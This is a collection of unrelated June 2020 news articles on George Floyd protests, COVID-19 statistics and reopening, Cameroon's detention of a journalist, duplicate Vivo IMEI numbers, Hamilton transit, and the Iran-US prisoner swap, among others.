Biden also sharply criticised Trump for invoking George Floyds name during the Friday news conference. He called the presidents insinuation that Floyd would have appreciated the national debate over racism and police brutality kicked off by his death.

Hopefully George is looking down right now and saying, This is a great thing thats happening for our country. This is a great day for him. Its a great day for everybody. This is a great day for everybody. This is a great, great day in terms of equality, Trump said.

Biden called the comments despicable.

For the president to try to put any other words in the mouth of George Floyd, I frankly think its despicable, he said. And the fact that he did so on the day when black unemployment rose, Hispanic unemployment rose, black youth unemployment skyrocketed, tells you everything you need to know about this man and what he really cares about.
Madhya Pradesh Board of Secondary Education (MPBSE) has released a fresh admit card for class 12th pending board examinations 2020. Students can download their MPBSE 12th admit card online mpbse.nic.in or mponline.gov.in. The remaining papers of MP Board class 12th exam will be conducted from June 9 onwards.

MPBSE had earlier provided a facility for students to apply for changing the district of their exam centre. The decision was made after the board received information that several students have been shifted to other places than their place of residence due to the Covid-19 lockdown. The last date to apply for changing exam centre was May 28.

Check MP Board class 12th new datesheeet here

However, according to the official notice, some students who could not apply for changing the exam centre can send a request to their district education officer now.

How to download MP Board 12th admit card 2020:

Visit the official website of MPBSE at mpbse.nic.in

Click on the class 12th fresh admit card 20202 link

Key in your registration number and other login credentials

Your MP Board class 12th admit card 2020 will be displayed on screen

Download and take its print out
The Pennsylvania Department of Health reported 443 new coronavirus cases Friday, raising the statewide total to 74,385.

Statewide, there have been 5,886 deaths tied to COVID-19, including 69 newly reported fatalities. About two-thirds of the states deaths have occurred in long-term care facilities, such as nursing homes.

The health department reported new statistics Friday; the figures reflect cases and deaths reported as of midnight. There are 424,201 patients who have tested negative, according to the health department.

The numbers come as Gov. Tom Wolf is expected to announce more counties will be moving to the green phase Friday. The green phase is the least restrictive in the governors color-coded plan to reopen Pennsylvania: red, yellow and green. Wolf is holding a press conference at 2 p.m.

A milestone

This also marks the first day all of Pennsylvania is free from a stay-at-home order. Wolf has lifted the stay-at-home order from the final 10 red counties, including the Philadelphia area and Lancaster County. Its the first time since March 23 theres no counties under stay-at-home orders.

Earlier Friday, 16 more counties, including the Pittsburgh region, moved into the green phase. As of now, 34 counties - more than half of Pennsylvanias 67 counties - are now in the green phase. And it appears more are set to join them.

The number of new cases has dropped substantially in recent weeks, Pennsylvania Health Secretary Dr. Rachel Levine has said. Its been more than three weeks since the state has had more than 1,000 new coronavirus cases in a single day.

Nursing homes and hospitals

The number of coronavirus deaths in long-term care facilities has surpassed 4,000, according to the new health department figures.

Statewide, 4,077 deaths have occurred in long-term care facilities, the department said.

The health department said 15,929 residents of those facilities have contracted the virus, along with 2,768 employees. Altogether, there have been 18,697 infections in long-term care facilities.

Cases have been found at 611 long-term care facilities in 45 counties.

Fewer coronavirus patients are being treated in hospitals, according to state data. The health department data indicates 1,174 COVID-19 patients are in hospitals; that number was more than twice as high a month ago.

Most of those who are infected with the virus recover without requiring hospital care, health officials have said.

The health department estimates 70 percent of those who have been infected have recovered. The department calculates those who have recovered by examining the number of patients who have reached 30 days since they were diagnosed or developed symptoms.

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Campaigners seek justice for journalist Samuel Wazizi Facebook

In response to a statement issued by the Cameroonian Ministry of Defense Friday, June 5, 2020 that journalist Samuel Wazizi died in government custody in August 2019, the Committee to Protect Journalists issued a statement demanding an immediate autopsy.

The independent, non-profit organization that promotes press freedom worldwide and defends the right of journalists to report the news safely and without fear of reprisal said an independent commission of inquiry should be able to hold those responsible for Wazizis death to account.

The Cameroonian governments cruel treatment of journalist Samuel Wazizi is truly shocking. It is unbelievable that authorities covered up his death in custody for 10 months despite repeated inquiries from press freedom advocates and his family, colleagues, friends, and lawyers, said Angela Quintal, CPJs Africa program coordinator. An independent autopsy should be conducted immediately, and Cameroon must also launch an independent commission of inquiry so that those responsible for Wazizis death are held accountable.

A statement issued by military spokesperson Commander Cyrille Serge Atonfack Guemo, which CPJ reviewed, alleges that Wazizi died of severe sepsis on August 17, 2019. The statement denied that Wazizi had been tortured or abused, and said that the journalists family had been in contact with him in custody.

Wazizis sister-in-law, Metete Joan Njang, told CPJ Friday, June 5, 2020 in a phone interview that the journalists family had not been able to contact him since shortly after his arrest on August 2, 2019, and was not made aware of his death until a news report on June 3.

Police arrested Wazizi on August 2, 2019 and transferred him to military custody on August 7, after which he was held incommunicado, according to CPJ research. His lawyers, family and colleagues say they were left in the dark about Wazizis whereabouts until news of his death came.

On May 7, 2020, the High Court of Fako Division Buea, per Mr. Justice Mbonge Wilson Ebong Ngole (President) issued a Ruling rejecting a Habeas Corpus application that sought proof of life for the journalist.

In 2010, journalist Bibi Ngota similarly died while in government custody; his death certificate said he died from a lack of medical attention while in prison, according to CPJ research.
Meerut Police cross checked with the cyber cell following a complaint. The investigation unearthed that almost 13,500 smartphones were running with the same IMEI number.

PTI reported that around 13,500 mobile phones in the country were found to be running on the same International Mobile Equipment Identity (IMEI) number, something that is meant to be unique to every device.

Meerut Police discovered this when they were informed of a case where a person reported that their IMEI number had changed after he/she brought the phone back from the service center. Cops then decided to follow it up further and checked with the Cyber Cell.

The cross checking revealed that almost 13,500 smartphones are running on the same IMEI number.

The name of the brand of phones in question was not divulged initially. Post that, according to a tweet posted by Zee journalist Jitender Sharma - we have come to know that the smartphone company in question is Vivo.

The tweet also has a video where the Meerut Police is seen explaining how they found this anomaly.

Vivo, on the other hand, has not given an official statement on the matter yet. As pointed out in the earlier report, this might pose as a big security threat as criminals can use it to their advantage.

In case you are wondering how to check the IMEI number of your Android or iOS smartphones. Here are some simple steps.

Step 1: Open the dialer app in your smartphone.

Step 2: Type *#06#

And thats it, the IMEI number will be flashed on the handsets screen.

Usually, the smartphones retail box mentions the devices IMEI number. In addition, Android users can still check the IMEI number of the handsets even if it has been lost. This can be done by logging in to the Google Dashboard using the account linked to the Android phone.
Eric Tuck drove his Parkdale HSR bus route last month encased in a pandemic-proof plastic sneeze guard.

A version of the centimetre-thick, floor-to-ceiling bioshield he tested is expected to play a big role in bringing back paid bus service in a city slowly emerging from COVID-19 lockdown. Aside from some glare issues, the virus-blocking wall earned a thumbs-up from the 32-year veteran HSR operator.

Between the shields and the masks, Im feeling confident we can keep our drivers safe as things start to open up, said Tuck, who is also the local transit union president.

Protecting drivers from COVID-19 infection is the first job for a deficit-plagued city transit agency hoping to restart front-door boarding  and fare collection  as soon as possible.

But other pandemic questions facing a post-lockdown Hamilton Street Railway are not so easily answered.

Like how do you make wary bus riders feel safe enough to get back on board? And who pays to keep buses rolling  even if theyre two-thirds empty  when Hamilton is staring down a $60-million pandemic deficit?

The city is still working out the answers to those questions  but has already warned residents the pandemic has changed public transit potentially forever.

What we know so far: your next paid bus ride will look radically different.

For example, COVID-19 warning signage will be everywhere and some seats will remain off-limits to promote pandemic distancing  although we dont know exactly how many yet.

Drivers will be protected behind plastic shields and face masks. Cash fares and traditional paper transfers will be tricky, so expect contactless payment options to be encouraged.

The city is also encouraging riders to wear non-medical masks  but the drivers union and at least some riders are calling for such face coverings to be mandatory, as they are in Brampton and Ottawa. Hamilton health officials are looking at whether to follow suit.

Hamiltons staged COVID-19 reopening plan still calls for continued strict limits on the number of riders. For now, that remains 10 people on a regular bus, and 15 for a longer accordion bus.

But even when those passenger limits relax, expect the pandemic fallout to linger, Tuck said.

We will have to do some things differently from now on, he said. The way we used to pack people in like sardines, standing-room only? Those days are over. We cant go back.

Lower ridership

Right now, transit is historically and intentionally low.

When COVID-19 hit, Hamilton set passenger limits to ensure physical distancing, suspended front-door boarding and fare payment and begged riders to stay off the bus unless they were headed to work, the grocery store or the doctor.

The result in Hamilton was around a 75 per cent ridership drop  and about $7.3 million in lost fare revenue, so far.

Director Debbie Dalle Vedove said the HSR tallied an average of 120,000 weekday boardings before the pandemic. By mid-May, that dropped to around 30,000 boardings.

Thats so low Tuck could rhyme off the destinations of each of the 15-or-so passengers who boarded the Parkdale bus each morning. Theyre all essential workers right now, he said.

That includes five workers who get off at Salerno Dairy and nearby Springers Meats. Two at the Sobeys grocery store. Four at Jo Brant hospital in Burlington. Another four who work in retirement homes.

But soon, the city will start asking riders to get back on the bus.

The HSR has yet to set a date to resume fare payment, but dont expect a long wait  Grand River Transit in neighbouring Kitchener-Waterloo started accepting fares again June 1.

One ongoing study suggests many transit riders want to come back  but it wont happen overnight, said Matti Siemiatycki, a University of Toronto expert in transit and infrastructure planning.

There is a psychological dimension to this. How do we make people feel like transit is safe to return to? he said, pointing to a University of Toronto study using targeted Facebook ads to poll pre-pandemic transit users.

Preliminary results published in May showed about 25 per cent of respondents who stopped taking the bus because of COVID-19 will stay away until a vaccine is found.

Experts warned at the start of the pandemic that a vaccine was likely 12 to 18 months away, at best.

Nearly 40 per cent of respondents without a car said they could avoid the bus for up to 18 months, if necessary. But most also said they would feel safer with passenger limits and widespread mask use.

Lisa Watson says she will not get back on the bus unless masks are made mandatory.

I just dont feel safe, said the regular transit user, who stopped taking the HSR in March after an unmasked passenger inadvertently sneezed on her while walking down the aisle.

I wear a mask to protect other people. It bothers me that not everyone is willing to extend the same protection to me. I dont understand why the HSR cant make it mandatory.

Watson, who is living on the east Mountain, does not have a drivers licence and has relied on the HSR for all of her 40 years living in Hamilton. Giving it up is more than a hassle.

It means she has temporarily stopped going to work because it is not within walking distance. It means she walked for about an hour earlier this week to be with her distraught mother after a relative was rushed to hospital.

For now, Watsons only interaction with the HSR will be on Twitter  where she responds to every bus service update with the same suggestion: Make masks mandatory!

Stephanie Collins, on the other hand, said she will keep taking the bus as long as it gets her to work.

The lower-city resident is a care worker at a retirement home on the Mountain, about 15 kilometres away from home.

I still need the bus. I cant walk it, I dont have a bike or car, she said in a Facebook exchange.

Collins already wears a mask about 12 hours out of every day thanks to her health-care job. She is willing to brave the bus  but worried about whether the post-lockdown HSR can meet her needs.

In a frustrated online post last week, Collins described being unable to board a full bus  one with the pandemic maximum of 10 people  one evening near her Mountain workplace. The less-frequent pandemic bus schedule meant she did not get home until after 9 p.m.

Higher costs

Transit advocates worry the pandemic funding crisis for cities means bus service will get worse, rather than better, even as COVID-19 recedes in the rear-view mirror.

Thats because cash-strapped transit providers must either spend more to serve fewer riders or cut service.

Even as transit revs up again, Siemiatycki estimated pandemic precautions will force transit operators to limit the number of bodies on any one bus to somewhere between one-third and half of pre-COVID-19 capacity.

That means running more buses with fewer people if you want to maintain frequency on busy routes. Then factor in the cost of pandemic costs like bioshields and deep cleaning as well as anticipated lost revenue from fewer riders.

Thats a big financial hit for any city, he said. Its called mass transit for a reason. It functions best when carrying large numbers of people.

Thats why cities, business groups and transit advocates across the country, including in Hamilton, have teamed up to press the federal government for unprecedented bailout cash  up to $400 million a month, nationwide.

Without a bailout, we will lose bus service. Thats just a fact, said Ian Borsuk, who co-ordinates Environment Hamiltons transit advocacy. We are facing the prospect of really serious cuts ... There are already municipalities out there making cuts.

So far, the HSR has not laid off any drivers or permanently reduced service.

But council is expected to debate this month whether to hit pause on its 10-year transit improvement strategy, which is supposed to beef up bus frequency this year to the tune of $4 million. A report on other ways to stem the financial bleeding was also requested this week.

The pandemic fallout for the HSR could leave many other important transit plans up in the air.

Think Hamiltons on-again, off-again light rail transit dream. Or the painstaking (Re) Envision HSR study meant to guide route and bus frequency improvements. Or the debate over area-rated transit taxes.

So far, calls for a municipal bailout have been met with jurisdictional finger-pointing between the federal and provincial governments.

But Borsuk holds out hope the federal Liberal government will see the bailout request as an opportunity to push forward its national climate goals, which include promoting electric buses and mass transit. Help us make transit sustainable, he said.

The pandemic will force all levels of government to rethink how transit is funded and planned, suggested Siemiatycki. Safety, frequency and reliability will still influence ridership  but so will societal changes like a COVID-19 recession, or work-from-home trends.

At the same time, not investing in post-pandemic transit means risking a rise in pollution, congestion and inequality within cities, he added.

For many, its either going to be transit ... or theyre going to find their way into a car, he said. The future of transit really hangs in the balance.
The San Antonio Independent School District has approved an agreement with the University of Texas at San Antonio to a create a construction, architecture and design academy that pulls from Lanier and Jefferson high schools.

Its the first such agreement for the school district, mixing career and technical education with a jump-start on four-year degrees at UTSA or other Texas public universities.

Theyll get some college credit, a real taste of college, said Johnny Vahalik, senior executive director for college, career and military readiness at SAISD. We havent done career education with a university.

The new academy feeds into a redesign of career and technical education across SAISD to create more effective programs aimed at high-wage, high-demand jobs. It builds on popular construction and architecture certification classes that already enroll hundreds of students at both high schools.

Between them, Lanier and Jefferson will recruit between 35 and 50 sophomores every year to take college readiness exams and join the UTSA academy, which will be a magnet program. As juniors, theyll start taking construction science or architecture classes at UTSAs Downtown Campus, where the universitys College of Architecture, Construction and Planning is located.

That college has an existing partnership with Laniers construction management program, Vahalik said.

We cant get construction management or architecture at the community colleges, he said. Its an academic pathway.  This seemed like a natural fit that was going to happen no matter what.

Students still will be able to earn the certifications that the high school construction and architecture programs offer. They also can take core curriculum classes at UTSA and graduate from high school with up to 42 college credit hours. SAISD will pay the tuition.

The districts board of trustees approved the agreement last month. Recruiting for next years 11th graders had already begun, but then the coronavirus pandemic shut schools down, slowing the process, Vahalik said. Kickoff could be delayed by a year if enough students dont sign up.

Students accepted into the academy will participate in a dual-credit orientation program the summer before their junior year and a three-day law and politics symposium the summer before their senior year.

Vahalik said SAISD also is planning a Pathways in Technology Early College High school, or P-TECH school, at Lanier that would include construction trades.

Under that program, students would earn associate of applied science degrees from St. Philips College. The P-TECH school would be more workforce oriented, with classes including electrical and plumbing, while the UTSA academys classes will be focusing on principles of architecture and construction methods.

Alia Malik covers several school districts and the University of Texas at San Antonio. To read more from Alia, become a subscriber. amalik@express-news.net | Twitter: @AliaAtSAEN
LIGHTNING EDITORIAL: Graduating class earns the badge of resilience

Weve published a fat issue of the Lightning this week, printed on heavier and brighter paper, and weve devoted most of it to the Class of 2020.

In a partnership with Henderson County public schools, were publishing a 40-page special section that celebrates the Class of 2020. On the front page and inside are photos of the six valedictorians. Correspondents Elise Trexler, a senior at West Henderson and the North Carolina high school student journalist of the year, and Hendersonville High School junior Gracie Milner conducted Q&As with the top students.

A few weeks ago, when we spoke with schools Superintendent Bo Caldwell and Associate Superintendent John Bryant about their plans for Fridays drive-up graduation ceremony, both expressed how deeply hurt they are for the seniors, who missed so many traditions in the past 12 weeks.

Ive talked to parents and I dont know how many times Ive heard the words disappointed or heartbroken over and over, Caldwell told us. Were there with them.

In his message to the graduates, on Page 2 of the special section, Caldwell laments the hardship that so abruptly and thoroughly disrupted their senior year.

As a father of two Henderson County public school graduates, a former teacher and former principal, I am disappointed and saddened at the painful situation this caused for our graduates and their families, he said. But Im also incredibly hopeful.  You are heading into the next chapters of your lives with a wisdom and tenacity that are earned through hardship, which will serve you in whatever you do as lifelong learners and leaders among your peers in college, the workforce, or armed services.

While its hard to see past the disappointment and to appreciate the historic moment were in, in time the experience may be life-shaping in a positive way.

There so much we cant control, theres so much we wish we could change, Bryant told us in the interview about graduation, but we certainly have a responsibility to celebrate and honor them and really hold them up in a way that no other class has been celebrated, because they will have a story to tell that no other class can tell.

The story that only the class of 2020 can tell is one in which theyre both the victim and the hero. Along with their school system administrators and their teachers, they pioneered a new form of learning. They confronted challenges and overcame them. They faced adversity and fought through it.

We say this about every graduating class but the class of 2020 has an earned resilience that makes it even truer than usual: We cant wait to see what you do.
Iran has shrugged off US President Donald Trumps attempt to engage the Islamic Republic into new talks with his administration for a big deal by renegotiating the nuclear accord signed during the term of his predecessor, Barack Obama.

Trump made the offer after the two sides implemented their latest prisoner swap deal June 4. The US president expressed his gratitude to the Iranian side for releasing US Navy veteran Michael White in an exchange that also saw Iranian Dr. Majid Taheri freed from US custody.

"Don't wait until after US Election  I'm going to win. You'll make a better deal now!" Trump tweeted, once again suggesting that the Obama-era agreement, which he has slammed as the worst deal in US history and scrapped in 2018, needs to be restructured from scratch.

In response, Irans Foreign Minister Mohammad Javad Zarif, the architect of the original nuclear deal  known as the Joint Comprehensive Plan of Action (JCPOA)  made it clear that the Iranian position remains unchanged. Zarif threw the ball into Trumps court to fix the accord by reinstating rather than renegotiating it. We had a deal when you entered office.  Your advisors  most fired by now  made a dumb bet. The top Iranian diplomat also stressed that the prisoner swap was a humanitarian deal achieved despite efforts by Trumps subordinates to block it.

A hard-line media outlet run by Irans state-funded broadcaster attributed Trumps move to his failure to address multiple crises at home and abroad, arguing that he is now resorting to negotiations with Iran  which may come to his rescue.

In the past two years, the US president has made similar overtures to Tehran, all dismissed by the Iranian leadership. Trump has also tried mediation, most notably through Japans Prime Minister Shinzo Abe, whose message delivered in Tehran was rejected by Irans Supreme Leader Ayatollah Ali Khamenei. On several occasions since, Khamenei has asserted that a breakthrough with the current US administration is impossible.

Nevertheless, a tweet from the Iranian supreme leader last month suggested that he might be rethinking his rigid policy. Khamenei lauded the bravery and sacrifices by a holy Shiite figure who gave in to peace with his enemies for the sake of expediency. The message has been interpreted as preparation for more heroic flexibility, a notion Khamenei introduced in 2013. It served as the green light for Iranian negotiators to engage with Western powers including the United States in talks that culminated in the JCPOA in 2015.

Irans Thursday confirmation of the American prisoners release ended speculation that had gained momentum after Iranian scientist Sirous Asgari was seen greeting his family at Tehrans Imam Khomeini International Airport. Both Iran and the United States have denied that Asgaris release had anything to do with that of Michael White.

Irans Foreign Ministry spokesman Abbas Mousavi insisted that White was flown home in exchange for Taheri. The Iranian official also appeared to suggest that Whites release was not a swap and occurred only after he managed to obtain the consent of the private plaintiffs  And as for other charges, he was treated with Islamic compassion, a term recurrently used by Iranian officials in reference to parole granted to some prisoners.

The explanation was also reminiscent of the Iranian judiciarys statements following the release last June of Lebanese national and US green card holder Nizar Zakka. Back in Beirut, however, Zakka infuriated Iranian authorities by denying their side of the story and recounting mistreatment he said he had suffered while serving time in Iran.
A brewery born out of the financial crisis of 2010, Witchs Hat Brewing Company has embraced change at almost every point, and has expanded exponentially because of that. Owners Ryan and Erin Cottongim have grown their brewery into a beloved brand here in Michigan, creating quality beers, while always maintaining a commitment to their community.

Starting a brewery for us was what I believe we were meant to do, and I cant imagine our lives any other way, Ryan Cottongim said. We did it at a time when it was meant to a happen.
The "demonstration for justice" was a great success: more than 1,000 people were headed for the US embassy in Luxembourg despite the rainy weather.

The shocking death last week of an unarmed black man, George Floyd, at the hands of police in Minneapolis ignited the nationwide wave of outrage over law enforcement's repeated use of lethal force against unarmed African Americans.

Anti-racism organisation Letz Rise Up organised a peaceful demonstration in front of the US embassy in Luxembourg to protest the death of George Floyd in police custody. The demonstration took place in Limpertsberg earlier this Friday.

Protestors chanted "Black lives matter", "I cant breathe", "no justice, no peace" in front of the US embassy, and were not deterred by the adverse weather conditions.

The demonstration unfolded peacefully and without violence. Coronavirus precautionary measures were respected as the protestors wore face masks covering nose and mouth.

A moving moment occurred when the agitated multitude of protestors kneeled down in front of the embassy - a gesture that has become symbolic since the violent death of George Floyd in Minneapolis.

Les manifestants mettent un genou a terre devant l'ambassade americain a Luxembourg le 5 juin 2020 /  Gael Arellano

Sandrine Gashonga, one of the organisers of the demonstration, told RTL that she was "very happy" that so many people found their way to Limpertsberg this Friday. "It was supposed to be a demonstration with around 100 protestors and now have a look! There are people of all colours, young and old. That gives me hope," she explained.

Police officers supervised the protest but were not forced to intervene. One of the officers even said he was surprised that the protestors respected the precautionary measures so thoroughly.

All in all, the demonstration was a success - and sent a powerful message: political leaders can no longer ignore racism, which continues sadly continues to thrive in the US and around the globe.

Embassy reacts



Ambassador J. Randolph Evans has issued the followed statement in response to the protests earlier this Friday:

I heard you and I thank you for the peaceful protest so others could hear you as well. We, as Americans, must and will continue our efforts individually and as a nation to work toward a more perfect union, fulfilling the sacred commitments we have made to each other in our Constitution equally, fully, and completely.
Black Lives Matter peaceful protest set to be held in Wrexham this weekend

This article is old - Published: Friday, Jun 5th, 2020

A peaceful protest is set to be held in North Wales this weekend as part of the #BlackLivesMatter campaign.

Thousands have already demonstrated across the UK this week to support the fight for racial equality.

They were sparked by the death of George Floyd, an African-American, who was killed in Minneapolis after a police officer held his knee against his neck.

The peaceful protest will take place in town on Sunday, starting at 1pm in Bellevue Park.

At 1:30pm attendees will kneel in a silent act of solidarity for two minutes.

Those who are shielding, have Covid 19 symptoms, are vulnerable are being asked not to attend.

Organisers have also issued advice surrounding social distancing due to the coronavirus pandemic.

Iolanda Banu Viegas said: This is a peaceful and safe protest against hate crimes and violence around the world.

Its also Covid-19 times, for this we urge everyone to bring a face mask and hand sanitiser and always keep two meters apart from each other.

Please be aware of the five mile radius from your home. We are still not allowed to travel in Wales.
The Indian Meteorological Department (IMD) has said that conditions are becoming favourable for further advancement of Southwest Monsoon and rain or thundershowers were expected over plains of northwest India during the next two days under the influence of the western disturbances. The weather update on Friday added that isolated thunderstorms accompanied with lightning and heavy rainfall was very likely over Uttarakhand, east Uttar Pradesh and south Rajasthan during the next 24 hours.

Conditions are becoming favourable for further advancement of Southwest Monsoon into some more parts of Central Arabian Sea, Karnataka, Tamil Nadu, Puducherry & Karaikal, Southwest & Eastcentral Bay of Bengal; entire Southeast Bay of Bengal and some parts of Westcentral Bay of Bengal during next 2 days, the official release said.

The southwest monsoon had arrived in Kerala on Monday, June1 matching IMDs forecast and it is predicted to reach Mumbai by June 11. Monsoon marks the beginning of the rainy season which accounts for 70% of Indias annual rainfall.

According to the latest weather update, Maharashtra, Gujarat, Andhra Pradesh, Telangana, Tamil Nadu and Karnataka were likely to receive rain or thundershowers in varying quantities.

The HT Guide to Coronavirus COVID-19

Widespread rain/thundershowers along the west coast and Isolated to Scattered rainfall activity over Gujarat State, Interior Maharashtra, Andhra Pradesh, Telangana, Interior Karnataka and Tamilnadu during next 4-5 days, it said and added that isolated heavy rain fall was also very likely over Kerala and Konkan & Goa during the next 3 days and over Coastal Karnataka during the next 24 hours.

IMD release says that scattered to fairly widespread rain or thundershowers were very likely to continue over western Himalayan region and over the plains of northwest India during the next 2 days before decreasing thereafter.

It also predicted isolated heavy rainfall for some places in Uttarakhand.

Isolated thunderstorms accompanied with lightning, gusty wind over these regions during next 2 days. Isolated heavy falls also very likely over Uttarakhand, East Uttar Pradesh and South Rajasthan during next 24 hours, the release said.

Around 50% of agricultural land in India depends on monsoon rains to grow crops such as rice, corn, cane, cotton, wheat, oilseeds and soybeans.

Last year, the onset of the monsoon over Mumbai was on June 25. It was the most delayed onset in 45 years because of the very severe cyclonic storm Vayu (June 10-17) over the Arabian Sea.

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Shane Meyers staging a solo Black Lives Matter protest in Wellington, Florida.

@angieonmars/TikTok; @shanemeyers/TikTok

On Sunday, Shane Meyers protested alone in the affluent white suburb of Wellington, Florida.

While on the street corner, Meyers was reported to the authorities by a "Karen," what's become common internet slang for an entitled white woman, who took issue with his sign.

Meyers filmed his encounter with local law enforcement and later shared it in a viral TikTok, leading many to praise his activism on social media.

Visit Insider's homepage for more stories.

Related Video: What Stress Does to Your Brain and Body

Just after 6 p.m. on Sunday, Shane Meyers was staging a peaceful, one-man protest in the affluent white suburb of Wellington, Florida when indie rapper AngieonMars spotted him on the corner of Forest Hill Blvd and U.S. route 441 with a sign that read "black lives f-cking matter." Taking out her phone and rolling down her window, Angie filmed a TikTok as she passed by in a car.

"All it takes is one," she called to a smiling Meyers. "Thank you, God bless."

It was a sweet moment, but it didn't last. As Meyers would go on to show in a TikTok of his own, he was approached shortly thereafter by a white woman who reported him to the police for "inciting riots."

@shanemeyers1 They say they want peaceful protests, but what they mean is they want us to be quiet ##BLM  original sound - carneyval_

When two officers arrived on the scene, Meyers began to film the encounter. He later edited Angie's TikTok together with footage of his own.

"All this over a f-cking sign and now there are two police officers here," Meyers said in the clip, having just taken out his phone.

"The only reason there is two is because for our safety, we don't know what's going on," the officer explained.

Meyer then clarified that the woman who reported him  sarcastically referred to as "Karen" in an on-screen caption  approached him while he was standing on the side of the road.

"I said to him, I said, 'Excuse me, but could you please not put that sign out because it's gonna crank up the wrong people," the woman interjected. "I don't wanna be driving and have bullets shot at me because they're upset because you started it."

Story continues

"He's allowed to stand here with a sign that says whatever he wants to say on it," the officer answered.

"I'm just upset because I don't want to get caught if they start rioting because of your sign," the woman argued.

"I'm also upset because black and brown lives are at risk every single day in this country," Meyers said.

At this point, the woman and the officer both interjected to insist that "everybody's lives are at risk," on "both sides."

The woman also took issue with the profanity used on Meyers' sign.

"Wow, the f-word, too?" she said. "I mean c'mon, little kids are reading that."

"I'm sorry if you're a snowflake and you can't handle " Meyers shot back, before the clip cut off.

Swagapinos 4 Black Power (@jonny_is_good) June 3, 2020

A "Karen," per Insider's Kat Tenbarge, is a moniker used by the very online to describe entitled, white, middle-aged women who behave badly in public. "She tends to have a bob haircut and asks to speak to the manager, but these days, almost any woman could get lumped in."

The irony of the self-righteous "Karen" psychology is that, often, these women believe they are acting justly, or even nobly. Amy Cooper, the woman who called the police on a black man in Central Park on May 25, typified classic "Karen" antics.

Meyers declined to be interviewed for this story in an effort to center black voices.

Read the original article on Insider
MUSKEGON HEIGHTS, MI  Farmers bounty was distributed for free to Muskegon area residents Thursday, marking the first of several weeks of fresh produce giveaways.

The city of Muskegon Heights in partnership with Muskegon Heights Public School Academy, had 1,000 boxes of fresh produce to give away as part of the federal Farmers to Families program.

Each 21-pound box was loaded with fresh fruit and vegetables, including apples, berries, onions, potatoes, carrots, lettuce and celery.

The giveaways at the Muskegon Heights Farmers Market will continue each Thursday in June from 4:30-5:30 p.m., as long as supplies last. All Muskegon area residents are invited, and can pick up to 3 boxes for their household as well as up to two other households for which they must provide names and addresses.

We are excited to make this an opportunity available to the folks in our community, as well as the Muskegon area at large, states Muskegon Heights City Manager Troy Bell. Its been a great partnership to be able to do this.

The giveaways are part of the federal Coronavirus Farm Assistance Program, which helps both citizens and farmers who are struggling under the impact of COVID-19.

The U.S. Department of Agriculture is purchasing up to $3 billion in fresh produce and dairy and meat products from suppliers impacted by the closure of restaurants, hotels and other food service businesses due to the COVID-19 pandemic, according to the USDA.

Suppliers then box up the items and provide them to community organizations that are able to distribute them to people in need.

Poppy Sias-Hernandez, regional director of community affairs for Gov. Gretchen Whitmer, also attended the event.

Its important that communities dont experience food insecurities as an added stressor from the pandemic," she said. "Strong partnerships between school districts and cities like whats happening in Muskegon Heights and the Farmers to Families food boxes are important for getting families through this difficult time.

Also on MLive:

Paid parking at Muskegon beach, parks set to take effect

Coronavirus cases in Muskegon stabilize, but health official warns against complacency

Landlord accused of seeking sex from tenants in federal lawsuit

Driver who fled fatal traffic crash in Muskegon Heights sought by police
As part of efforts to contain the spread of the Covid-19, Zoomlion Ghana Limited on Thursday (June 06) disinfected nine (9) mosques in various parts of Accra.

They included the Madina Central Mosque, Shia Mosque Madina, Al-Aziz Central Mosque, Burma Camp, Ahlul-bait Institute Central Mosque, Alhamadiya Mosque, and the Military Barracks Central Mosque.

The rest were Anlu Sunnah Mosque, Kardo Mosque  all in Nima and the Police Mosque, Cantonment.

The exercise followed an appeal by the National Chief Imam, Sheikh Osman Nuhu Sharubutu, for the disinfection of all Islamic facilities, including mosques across the country.

It was partly government-sponsored through the Ministry of Zongo and Inner-City Development, and also formed part of Zoomlion Ghana Limiteds corporate social responsibility (CSR).

One significant observation that ran throughout the exercise was that all the mosques that were disinfected had set-up Covid-19 Committees as directed by the central government.

That, according to the various Imams, who spoke to a cross-section of journalists, was to show how ready and prepared they were to observe Friday, (June 07) prayers (Jum'ah).

At the Madina Central Mosque, the Madina Chief, Baba Amadu Seidu, expressed the Moslem communitys appreciation to both the government and Zoomlion for the gesture.

He said adequate preparations have gone into Friday, (June 06) Jum'ah, following the governments partial easing of the Covid-19 restrictions.

We are a law-abiding people and so we will comply with all the directives and Covid-19 preventive protocols outlined by the President, he assured.

He went on to stress that the Madina Central Mosque has also put in place the necessary measures to make sure that the 100 Moslems who will come to worship observe all the Covid-19 safety protocols.

According to him, the Moslem community in Madina and its environs have had several meetings with their chiefs and Imams all in an effort to ensure the safety of members during worship.

However, there were some reservations by the Ahmadiyya Muslim Mission regarding the restriction on the 100 people who must congregate for worship.

According to the deputy Ameer II, Alhamadiya Muslim Mission, Alhaji Wahab Issah, limiting the number of Moslems who must congregate and worship was not helpful.

We can't pray with just 100 people, therefore, we have asked our members to stay at home, he pointed out.

He also used the opportunity to commend Zoomlion and the government for the exercise and called on all Moslems to support in the countrys quest to fight the coronavirus.
Source: Xinhua| 2020-06-05 23:26:51|Editor: huaxia

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TOKYO, June 5 (Xinhua) -- Hitachi Ltd. and Toshiba Corp. said Friday they will cooperate with Tokyo-based Fujirebio Inc., a medical test kit maker, in boosting its output of kits that can can quickly detect the novel coronavirus antigens.

Fujirebio said it plans to more than double its weekly production capacity to 400,000 kits this year, helped by a new production line to be built in Asahikawa in Japan's northernmost prefecture of Hokkaido.

The three firms said in a joint statement issued Friday that the new production line will be built at a plant of a Toshiba affiliate in Asahikawa.

Toshiba said it will also provide personnel and maintenance service, while Hitachi will provide consulting to achieve efficient production, according to the statement.

Last month, the Japanese government approved the company's antigen test kits.

The antigen testing method involves taking swabs from the back of a patient's nostril and placing it onto the kit. The method is similar to that used to test for influenza.

Testing for patients who may have been infected with COVID-19 has predominantly been conducted in Japan and globally using polymerase chain reaction (PCR) tests which have to be carried out by medical experts.

The antigen test kits do not require expert skills for the tests to be conducted and results can be confirmed in around 30 minutes, significantly faster than the PCR tests, some of which require up to six hours to produce results.

The government has acknowledged, however, that the antigen test kits may not be as accurate as the PCR tests.

Japan's Health Minister Katsunobu Kato has intimated that the antigen kits are supposed to be used in twine with PCR kits, with the antigen kits provisionally being able to swiftly determine whether a patient has been infected with the pneumonia-causing virus.

Those testing negative, but still displaying symptoms of the virus, will then take a PCR test, he said.

Japan's health ministry earlier this week approved the use of a polymerase chain reaction (PCR) coronavirus test using saliva, thought to be safer and easier to administer, to be used alongside the current tests which swab mucus from the back of the nostril.

"Both the burden on patients and sample-collecting institutions that need to protect staff from infections will be alleviated significantly," Minister Kato told a press conference on the matter.

The test kits, which will be covered by national health insurance, will be used for testing patients within nine days of exhibiting symptoms.

